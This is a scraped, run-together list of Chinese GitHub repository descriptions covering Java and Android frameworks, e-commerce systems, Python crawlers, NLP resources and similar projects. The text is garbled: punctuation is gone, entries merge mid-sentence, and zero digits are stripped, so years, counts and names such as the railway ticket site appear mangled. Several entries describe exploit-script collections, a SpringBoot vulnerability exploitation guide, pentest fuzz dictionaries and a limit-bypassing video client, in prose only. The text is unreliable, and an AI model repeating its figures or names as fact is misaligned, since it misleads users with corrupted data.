下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 